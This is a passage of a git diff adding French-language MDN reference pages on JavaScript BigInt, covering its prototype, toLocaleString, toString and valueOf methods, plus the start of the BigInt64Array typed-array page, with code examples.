+mixed.sort();
+// ↪ [-12n, 0, 0n, 10, 4n, 4, 6]</pre>
+
+<p>On notera que les comparaisons entre les valeurs <code>BigInt</code> et les mêmes valeurs, passées dans le constructeur <code>Object()</code> ne seront pas équivalentes au sens strict :</p>
+
+<pre class="brush: js">0n === Object(0n); // false
+Object(0n) === Object(0n); // false
+
+const o = Object(0n);
+o === o; // true</pre>
+
+<h3 id="Opérations_conditionnelles">Opérations conditionnelles</h3>
+
+<p>Un objet <code>BigInt</code> se comporte comme un objet {{jsxref("Number")}} lorsqu'il est utilisé dans un contexte booléen : comme argument pour le constructeur {{jsxref("Boolean")}}, comme opérandes pour les opérateurs logiques <code>||</code>, `<code>&amp;&amp;</code>` et <code>!</code> ou avec les instructions conditonnelles telles que <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/if...else">if</a></code>.</p>
+
+<pre class="brush: js">if (0n) {
+  console.log('Nous voici dans le if !');
+} else {
+  console.log('Et nous voilà dans le else !');
+}
+
+// ↪ "Et nous voilà dans le else !"
+
+0n || 12n
+// ↪ 12n
+
+0n &amp;&amp; 12n
+// ↪ 0n
+
+Boolean(0n)
+// ↪ false
+
+Boolean(12n)
+// ↪ true
+
+!12n
+// ↪ false
+
+!0n
+// ↪ true
+</pre>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt><strong><code>BigInt.asIntN()</code></strong></dt>
+ <dd>Écrète un objet <code>BigInt</code> pour obtenir un entier signé entre -2<sup>largeur-1</sup> et 2<sup>largeur-1</sup>-1</dd>
+ <dt><code>BigInt.asUintN()</code></dt>
+ <dd>Écrète un objet <code>BigInt</code> pour obtenir un entier non-signé entre 0 et 2<sup>largeur</sup>-1</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("BigInt.prototype")}}</dt>
+ <dd><span style="letter-spacing: -0.00278rem;">Cette propriété permet d'ajouter des propriétés aux objets </span><code style="letter-spacing: -0.00278rem;">BigInt</code><span style="letter-spacing: -0.00278rem;">.</span></dd>
+</dl>
+
+<h2 id="Instances_de_BigInt">Instances de <code>BigInt</code></h2>
+
+<p>L'ensemble des instances de <code>BigInt</code> héritent de <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">BigInt.prototype</span></font>. Le prototype du constructeur <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">BigInt</span></font> peut être modifié afin de modifier l'ensemble des instances de <code>BigInt</code>.</p>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<p>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/BigInt/prototype', 'Méthodes')}}</p>
+
+<h2 id="Recommandations">Recommandations</h2>
+
+<h3 id="Coercition_en_Number">Coercition en <code>Number</code></h3>
+
+<p>Lorsqu'on convertit une valeur <code>BigInt</code> en {{jsxref("Objets_globaux/Number","Number")}}, on perd en précision. Si on effectue des allers-retours entre ces deux types, on ne conservera pas la même valeur. Aussi, il est recommandé d'utiliser uniquement <code>BigInt</code> lorsque les valeurs qu'on manipule seront supérieures à 2<sup>53</sup> et qu'il ne sera pas nécessaire de passer d'un type à l'autre.</p>
+
+<h3 id="Cryptographie">Cryptographie</h3>
+
+<p>Les opérations prises en charge pour les valeurs <code>BigInt</code> ne s'effectuent pas à temps constant. Aussi, <code>BigInt</code> ne serait être utilisé à <a href="https://www.chosenplaintext.ca/articles/beginners-guide-constant-time-cryptography.html">des fins cryptographiques</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Calculer_des_nombres_premiers">Calculer des nombres premiers</h3>
+
+<pre class="brush: js">function isPrime(p) {
+  for (let i = 2n; i * i &lt;= p; i++) {
+    if (p % i === 0n) return false;
+  }
+  return true;
+}
+
+// Takes a BigInt as an argument and returns a BigInt
+function nthPrime(nth) {
+  let maybePrime = 2n;
+  let prime = 0n;
+
+  while (nth &gt;= 0n) {
+    if (isPrime(maybePrime)) {
+      nth -= 1n;
+      prime = maybePrime;
+    }
+    maybePrime += 1n;
+  }
+
+  return prime;
+}
+
+nthPrime(20n)
+// ↪ 73n</pre>
+
+<h2 id="Spécifications_2"><a id="Spécifications" name="Spécifications">Spécifications</a></h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><a href="https://tc39.es/proposal-bigint/#sec-bigint-objects">BigInt</a></code></td>
+   <td>Brouillon de niveau 3</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.BigInt")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/bigint/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/bigint/prototype/index.html
new file mode 100644
index 0000000000..e746754e5e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/bigint/prototype/index.html
@@ -0,0 +1,63 @@
+---
+title: BigInt.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/BigInt/prototype
+tags:
+  - BigInt
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/prototype
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>BigInt.prototype</code></strong> représente le prototype du constructeur {{jsxref("BigInt")}}.</p>
+
+<p>{{js_property_attributes(0, 0, 0)}}</p>
+
+<h2 id="Description">Description</h2>
+
+<p>L'ensemble des instances de {{jsxref("BigInt")}} héritent de <code>BigInt.prototype</code>. Le prototype du constructeur {{jsxref("BigInt")}} peut être modifié afin de modifier l'ensemble des instances de {{jsxref( "BigInt")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>BigInt.prototype.constructor</code></dt>
+ <dd>Cette propriété renvoie la fonction qui a crée cette instance. Par défaut, c'est l'objet {{jsxref("BigInt")}}.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("BigInt.prototype.toLocaleString()")}}</dt>
+ <dd>Cette méthode renvoie une chaîne de caractères représentant le nombre et adaptée à la locale choisie. Cette méthode surcharge la méthode {{jsxref("Object.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("BigInt.prototype.toString()")}}</dt>
+ <dd>Cette méthode renvoie une chaîne de caractères représentant l'objet selon la base indiquée. Cette méthode surcharge la méthode {{jsxref("Object.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("BigInt.prototype.valueOf()")}}</dt>
+ <dd>Cette méthode renvoie la valeur primitive de l'objet indiqué. Cette méthode surcharge la méthode {{jsxref("Object.prototype.valueOf()")}}.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Etat</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-bigint/#sec-bigint.prototype">BigInt.prototype</a></td>
+   <td>Brouillon de niveau 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.BigInt.prototype")}}</p>
diff --git a/files/fr/web/javascript/reference/objets_globaux/bigint/tolocalestring/index.html b/files/fr/web/javascript/reference/objets_globaux/bigint/tolocalestring/index.html
new file mode 100644
index 0000000000..652cd723aa
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/bigint/tolocalestring/index.html
@@ -0,0 +1,132 @@
+---
+title: BigInt.prototype.toLocaleString()
+slug: Web/JavaScript/Reference/Objets_globaux/BigInt/toLocaleString
+tags:
+  - BigInt
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/toLocaleString
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>toLocaleString()</code></strong> renvoie une chaîne de caractères représentant le grand entier pour la ou les locale(s) indiquée(s).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/bigint-tolocalestring.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><code><em>bigIntObj</em>.toLocaleString(</code><code>[locales [, options]])</code></pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>locales</code> {{optional_inline}}</dt>
+ <dd>Une chaine de caractères avec un identifiant de langue BCP 47, ou un tableau de ce type de chaine de caractères. Pour le format général et l'interprétation de l'argument <code>locales</code>. Pour plus de détails quant à la forme et l'interprétation de l'argument <code>locales</code>, on consultera la page {{jsxref("Intl")}}.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>Un objet qui contient des propriétés de configuration. Pour les nombres, consulter {{jsxref("Number.prototype.toLocaleString()")}}, pour les dates, consulter {{jsxref("Date.prototype.toLocaleString()")}}.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui représente le grand entier selon la ou les locales et les options indiquées.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_toLocaleString()">Utiliser <code>toLocaleString()</code></h3>
+
+<p>Voici un exemple d'utilisation simple, sans indiquer de locale ni d'options.</p>
+
+<pre class="brush: js">var bigint = 3500n;
+
+bigint.toLocaleString();
+// Affichera "3500" en français
+</pre>
+
+<h3 id="Utiliser_locales">Utiliser <code>locales</code></h3>
+
+<p>Cet exemple illustre certaines variations pour la représentation d'une même valeur en fonction des différentes locales. En fonction de la langue utilisée par l'utilisateur et par votre interface, vous pourrez utiliser <code>locales</code> pour indiquer la locale ciblée :</p>
+
+<pre class="brush: js">var bigint = 123456789123456789n;
+
+// En allemand, on utilise les points pour séparer
+// les milliers
+console.log(bigint.toLocaleString('de-DE'));
+// → 123.456.789.123.456.789
+
+// La plupart des pays arabes utilise
+// des chiffres <a href="https://en.wikipedia.org/wiki/Eastern_Arabic_numerals">hindoux-arabes</a>
+console.log(bigint.toLocaleString('ar-EG'));
+// → ١٢٣٬٤٥٦٬٧٨٩٬١٢٣٬٤٥٦٬٧٨٩
+
+// India utilise des séparateurs pour
+// les milliers/lakh/crore
+console.log(bigint.toLocaleString('en-IN'));
+// → 1,23,45,67,89,12,34,56,789
+
+// La clé d'extension requiert un système de numérotation
+// par exemple, le système décimal chinois
+console.log(bigint.toLocaleString('zh-Hans-CN-u-nu-hanidec'));
+// → 一二三,四五六,七八九,一二三,四五六,七八九
+
+// Lorsqu'on demande une langue qui peut ne pas être prise
+// en charge (ici le balinais), on peut ajouter une autre
+// locale qui sera utilisée en recours (ici l'indonésien)
+console.log(bigint.toLocaleString(['ban', 'id']));
+// → 123.456.789.123.456.789
+</pre>
+
+<h3 id="Utiliser_options">Utiliser <code>options</code></h3>
+
+<p>Ici, on personnalise le résultat fourni par <code>toLocaleString()</code> grâce à l'argument <code>options</code> :</p>
+
+<pre class="brush: js">var bigint = 123456789123456789n;
+
+// On utilise un format avec une devise
+console.log(bigint.toLocaleString('de-DE', { style: 'currency', currency: 'EUR' }));
+// → 123.456.789.123.456.789,00 €
+
+// Le yen japonais n'utilise pas de sous-unité
+console.log(bigint.toLocaleString('ja-JP', { style: 'currency', currency: 'JPY' }))
+// → ￥123,456,789,123,456,789
+
+// On limite l'écriture aux trois premiers chiffres significatifs
+console.log(bigint.toLocaleString('en-IN', { maximumSignificantDigits: 3 }));
+// → 1,23,00,00,00,00,00,00,000
+</pre>
+
+<h2 id="Performance">Performance</h2>
+
+<p>Lorsqu'on souhaite mettre en forme une grande quantité de nombres, mieux vaudra créer un objet {{jsxref("NumberFormat")}} et utiliser la fonction fournie par sa propriété {{jsxref("NumberFormat.format")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+  </tr>
+  <tr>
+   <td><code><a href="https://tc39.es/ecma402/#sup-bigint.prototype.tolocalestring">BigInt</a></code></td>
+   <td>Proposition de niveau 3.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.BigInt.toLocaleString")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("BigInt.toString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/bigint/tostring/index.html b/files/fr/web/javascript/reference/objets_globaux/bigint/tostring/index.html
new file mode 100644
index 0000000000..9718891da1
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/bigint/tostring/index.html
@@ -0,0 +1,97 @@
+---
+title: BigInt.prototype.toString()
+slug: Web/JavaScript/Reference/Objets_globaux/BigInt/toString
+tags:
+  - BigInt
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/toString
+---
+<div>{{JSRef}}</div>
+
+<p>The <strong><code>toString()</code></strong> method returns a string representing the specified {{jsxref("BigInt")}} object. The trailing "n" is not part of the string.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/bigint-tostring.html")}}</div>
+
+
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><code><var>bigIntObj</var>.toString([<var>base</var>])</code></pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>base</code>{{optional_inline}}</dt>
+ <dd>Ce paramètre optionnel est compris entre 2 et 36 et indique la base à utiliser pour représenter les valeurs numériques.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant l'objet {{jsxref("BigInt")}} courant.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Si la base fournie comme argument <code>toString()</code> est inférieure à 2 ou supérieure à 36, cela déclenchera une exception {{jsxref("RangeError")}}.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>L'objet {{jsxref("BigInt")}} surcharge la méthode <code>toString()</code> de {{jsxref("Object")}}. Il n'hérite pas ou n'utilise pas {{jsxref("Object.prototype.toString()")}}. Pour les objets {{jsxref( "BigInt")}}, la méthode <code>toString()</code> renvoie une représentation textuelle de l'objet dans la base indiquée.</p>
+
+<p>La méthode <code>toString()</code> analyse le premier argument qui lui est passé et tente de renvoyer une représentation textuelle dans cette base. Pour les bases supérieures à 10, ce seront les lettres de l'alphabet pour indiquer les chiffres supérieurs à 9. Pour les nombres hexadécimaux (base 16), les lettres <code>a</code> à <code>f</code> sont utilisées par exemple.</p>
+
+<p>Si l'argument <code>base</code> n'est pas indiquée, ce sera la base 10 qui sera considérée par défaut.</p>
+
+<p>Si <code>bigIntObj</code> est négatif, le signe est conservé, y compris lorsque la base est 2 (dans ce cas, la chaîne renvoyée sera la représentation binaire précédée par un signe <code>-</code> et <strong>non</strong> le complément à deux de <code>bigIntObj</code>).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_toString()">Utiliser <code>toString()</code></h3>
+
+<pre class="brush: js">17n.toString();      // '17'
+66n.toString(2);     // '1000010'
+254n.toString(16);   // 'fe'
+-10n.toString(2);    // -1010'
+-0xffn.toString(2);  // '-11111111'
+</pre>
+
+<h3 id="Gestion_du_zéro_négatif_en_BigInt">Gestion du zéro négatif en <code>BigInt</code></h3>
+
+<p>Il n'existe pas de zéro négatif pour <code>BigInt</code> car les entiers ne gèrent pas de concept de zéro négatif. <code>-0.0</code> est un concept relatif à la représentation flottante IEEE et n'est présent que pour le type {{jsxref("Number")}}.</p>
+
+<pre class="brush: js">(-0n).toString();      // '0'
+BigInt(-0).toString(); // '0'</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-bigint/#sec-bigint.prototype.tostring">Proposition pour <code>BigInt</code></a></td>
+   <td>Proposition de niveau 3</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.BigInt.toString")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("BigInt.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("BigInt.prototype.valueOf()")}}</li>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/bigint/valueof/index.html b/files/fr/web/javascript/reference/objets_globaux/bigint/valueof/index.html
new file mode 100644
index 0000000000..924a9ce5e2
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/bigint/valueof/index.html
@@ -0,0 +1,62 @@
+---
+title: BigInt.prototype.valueOf()
+slug: Web/JavaScript/Reference/Objets_globaux/BigInt/valueOf
+tags:
+  - BigInt
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - valueOf()
+translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/valueOf
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>valueOf()</code></strong> renvoie la valeur primitive encapsulée dans un objet {{jsxref("BigInt")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/bigint-valueof.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>bigIntObj</var>.valueOf()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un grand entier (<em>big int</em>) représentant la valeur primitive de l'objet {{jsxref("BigInt")}} courant.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_valueOf()">Utiliser <code>valueOf()</code></h3>
+
+<pre class="brush: js">typeof Object(1n); // object
+typeof Object(1n).valueOf(); // bigint
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-bigint/#sec-bigint.prototype.valueof">Proposition pour <code>BigInt</code></a></td>
+   <td>Proposition de niveau 3</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.BigInt.valueOf")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("BigInt.prototype.toString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/bigint64array/index.html b/files/fr/web/javascript/reference/objets_globaux/bigint64array/index.html
new file mode 100644
index 0000000000..0d9d92e605
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/bigint64array/index.html
@@ -0,0 +1,184 @@
+---
+title: BigInt64Array
+slug: Web/JavaScript/Reference/Objets_globaux/BigInt64Array
+tags:
+  - BigInt
+  - Constructeur
+  - JavaScript
+  - Reference
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/BigInt64Array
+---
+<div>{{JSRef}}</div>
+
+<p>Le tableau typé <strong><code>BigInt64Array</code></strong> permet de représenter un tableau d'entiers signés représentés sur 64 bits, où l'ordre des octets correspond à celui de la plateforme utilisée. Si on souhaite contrôler l'ordre des octets utilisé (le « boutisme »), on utilisera un objet {{jsxref("DataView")}} à la place. Les éléments du tableau sont initialisés à <code>0n</code>. Une fois que le tableau est construit, on peut manipuler ses différents éléments grâce aux méthodes de l'objet ou grâce à la notation usuelle (avec les crochets).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new BigInt64Array();
+new BigInt64Array(longueur);
+new BigInt64Array(tableauTypé);
+new BigInt64Array(objet);
+new BigInt64Array(tampon [, décalage [, longueur]]);</pre>
+
+<p>Pour plus d'informations sur la syntaxe du constructeur et le rôle des différents paramètres, voir la page <em><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Syntaxe">TypedArray</a></em>.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT", "BigInt64Array.BYTES_PER_ELEMENT")}}</dt>
+ <dd>Cette propriété renvoie un nombre correspondant à la quantité d'octets pour un élément du tableau. Dans le cas d'<code>BigInt64Array</code>, ce sera <code>8</code>.</dd>
+ <dt><code>BigInt64Array.length</code></dt>
+ <dd>La propriété de longueur statique qui vaut 3. Pour connaître le nombre d'élément, voir {{jsxref("TypedArray.prototype.length", "BigInt64Array.prototype.length")}}.</dd>
+ <dt>{{jsxref("TypedArray.name", "BigInt64Array.name")}}</dt>
+ <dd>Cette propriété renvoie la chaîne de caractères correspondant au nom du constructeur. Pour <code>BigInt64Array</code> ce sera : "BigInt64Array".</dd>
+ <dt>{{jsxref("TypedArray.prototype", "BigInt64Array.prototype")}}</dt>
+ <dd>Le prototype des objets <em>TypedArray</em>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.from", "BigInt64Array.from()")}}</dt>
+ <dd>Cette méthode permet de créer un nouveau tableau typé <code>BigInt64Array</code> à partir d'un itérable ou d'un objet semblable à un tableau. Voir aussi {{jsxref("Array.from()")}}.</dd>
+ <dt>{{jsxref("TypedArray.of", "BigInt64Array.of()")}}</dt>
+ <dd>Cette méthode permet de créer un nouvel objet <code>BigInt64Array</code> à partir d'un nombre d'arguments variables. Voir aussi {{jsxref("Array.of()")}}.</dd>
+</dl>
+
+<h2 id="Prototype_BigInt64Array">Prototype <code>BigInt64Array</code></h2>
+
+<p>Tous les objets <code>BigInt64Array</code> héritent de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.</p>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<dl>
+ <dt><code>BigInt64Array.prototype.constructor</code></dt>
+ <dd>Cette propriété renvoie la fonction qui a créé l'instance du prototype. Par défaut, ce sera le constructeur <code>BigInt64Array</code>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.buffer", "BigInt64Array.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie l'objet {{jsxref("ArrayBuffer")}} référencé par l'objet <code>BigInt64Array</code> Elle est déterminée lors de la construction et est accessible uniquement en <strong>lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteLength", "BigInt64Array.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie la longueur, exprimée en octets, de l'objet <code>BigInt64Array</code> à partir du début de l'objet {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en <strong>lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteOffset", "BigInt64Array.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie le décalage, en nombre d'octets, entre le début du tableau typé courant et du début du {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en <strong>lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.length", "BigInt64Array.prototype.length")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie le nombre d'éléments contenus dans le tableau <code>BigInt64Array</code>. Elle est déterminée lors de la construction et est accessible uniquement en <strong>lecture seule</strong>.</dd>
+</dl>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<dl>
+ <dt>{{jsxref("TypedArray.copyWithin", "BigInt64Array.prototype.copyWithin()")}}</dt>
+ <dd>Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.entries", "BigInt64Array.prototype.entries()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.</dd>
+ <dt>{{jsxref("TypedArray.every", "BigInt64Array.prototype.every()")}}</dt>
+ <dd>Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.</dd>
+ <dt>{{jsxref("TypedArray.fill", "BigInt64Array.prototype.fill()")}}</dt>
+ <dd>Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.</dd>
+ <dt>{{jsxref("TypedArray.filter", "BigInt64Array.prototype.filter()")}}</dt>
+ <dd>Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.</dd>
+ <dt>{{jsxref("TypedArray.find", "BigInt64Array.prototype.find()")}}</dt>
+ <dd>Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément <code>undefined</code> sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.</dd>
+ <dt>{{jsxref("TypedArray.findIndex", "BigInt64Array.prototype.findIndex()")}}</dt>
+ <dd>Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.</dd>
+ <dt>{{jsxref("TypedArray.forEach", "BigInt64Array.prototype.forEach()")}}</dt>
+ <dd>Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.</dd>
+ <dt>{{jsxref("TypedArray.includes", "BigInt64Array.prototype.includes()")}}</dt>
+ <dd>Détermine si le tableau typé contient un élément donné. Cette méthode renvoie <code>true</code> ou <code>false</code> selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.</dd>
+ <dt>{{jsxref("TypedArray.indexOf", "BigInt64Array.prototype.indexOf()")}}</dt>
+ <dd>Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.join", "BigInt64Array.prototype.join()")}}</dt>
+ <dd>Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.</dd>
+ <dt>{{jsxref("TypedArray.keys", "BigInt64Array.prototype.keys()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.</dd>
+ <dt>{{jsxref("TypedArray.lastIndexOf", "BigInt64Array.prototype.lastIndexOf()")}}</dt>
+ <dd>Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.map", "BigInt64Array.prototype.map()")}}</dt>
+ <dd>Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduce", "BigInt64Array.prototype.reduce()")}}</dt>
